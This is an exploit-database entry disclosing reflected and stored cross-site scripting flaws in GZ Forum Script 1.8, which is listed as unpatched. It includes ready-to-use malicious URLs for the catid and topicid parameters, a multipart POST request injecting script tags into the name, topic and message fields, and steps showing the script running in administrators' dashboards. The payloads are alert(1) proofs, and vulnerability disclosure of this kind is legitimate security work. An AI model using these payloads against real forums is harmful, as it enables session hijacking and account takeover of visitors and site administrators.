GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS)

vendor:

GZ Forum Script

by:

CraCkEr

7.5

CVSS

HIGH

Stored Cross-Site Scripting (XSS)

CWE

Product Name: GZ Forum Script

Affected Version From: 1.8

Affected Version To: 1.8

Patch Exists: No

Related CWE:

CPE: gz-forum-script

Metasploit:

Other Scripts:

Platforms Tested: Windows 10 Pro

2023

GZ Forum Script 1.8 – Stored Cross-Site Scripting (XSS)

The attacker can send a link containing a malicious URL to a victim, which can perform actions such as stealing the victim's session token or login credentials. It also allows the attacker to inject malicious code into the website, giving them the ability to steal sensitive information, manipulate data, and launch additional attacks.

Mitigation:

The vendor should sanitize user input and implement proper output encoding to prevent XSS attacks. Additionally, user input should be validated and filtered to remove any potentially malicious code.

Source

Exploit-DB raw data:

# Exploit Title: GZ Forum Script 1.8 - Stored Cross-Site Scripting (XSS)
# Date: 30/06/2023
# Exploit Author: CraCkEr
# Vendor: GZ Scripts
# Vendor Homepage: https://gzscripts.com/
# Software Link: https://gzscripts.com/gz-forum-script.html
# Version: 1.8
# Tested on: Windows 10 Pro
# Impact: Manipulate the content of the site

## Release Notes:

Reflected XSS:

The attacker can send to victim a link containing a malicious URL in an email or
instant message can perform a wide variety of actions, such as stealing the victim's
session token or login credentials

Stored XSS
Allow Attacker to inject malicious code into website, give ability to steal sensitive
information, manipulate data, and launch additional attacks.

## Reflected XSS
Path: /preview.php

GET 'catid' parameter is vulnerable to RXSS

http://www.website/preview.php?controller=Load&action=index&catid=moztj%22%3e%3cscript%3ealert(1)%3c%2fscript%3ems3ea&down_up=a


Path: /preview.php

GET 'topicid' parameter is vulnerable to RXSS

http://www.website/preview.php?controller=Load&action=topic&topicid=1wgaff%22%3e%3cscript%3ealert(1)%3c%2fscript%3exdhk2

## Stored XSS
-----------------------------------------------
POST /GZForumScript/preview.php?controller=Load&action=start_new_topic HTTP/1.1

-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="free_name"

<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic"

<script>alert(1)</script>
-----------------------------39829578812616571248381709325
Content-Disposition: form-data; name="topic_message"

<script>alert(1)</script>
-----------------------------39829578812616571248381709325--

-----------------------------------------------

POST parameter 'free_name' is vulnerable to XSS
POST parameter 'topic' is vulnerable to XSS
POST parameter 'topic_message' is vulnerable to XSS


## Steps to Reproduce:

1. As a [Guest User] Click on [New Topic] to create a "New Topic" on this Path (http://website/preview.php?controller=Load&action=start_new_topic)
2. Inject your [XSS Payload] in "Name"
3. Inject your [XSS Payload] in "Topic Title "
4. Inject your [XSS Payload] in "Topic Message"
5. Submit

4. XSS Fired on Visitor Browser's when they Visit the Topic you Infect your [XSS Payload] on

5. XSS Fired on ADMIN Browser when he visit [Dashboard] in Administration Panel on this Path (https://website/GzAdmin/dashboard)
6. XSS Fired on ADMIN Browser when he visit [Topic] & [All Topics] to check [New Topics] on this Path (https://website/GzTopic/index)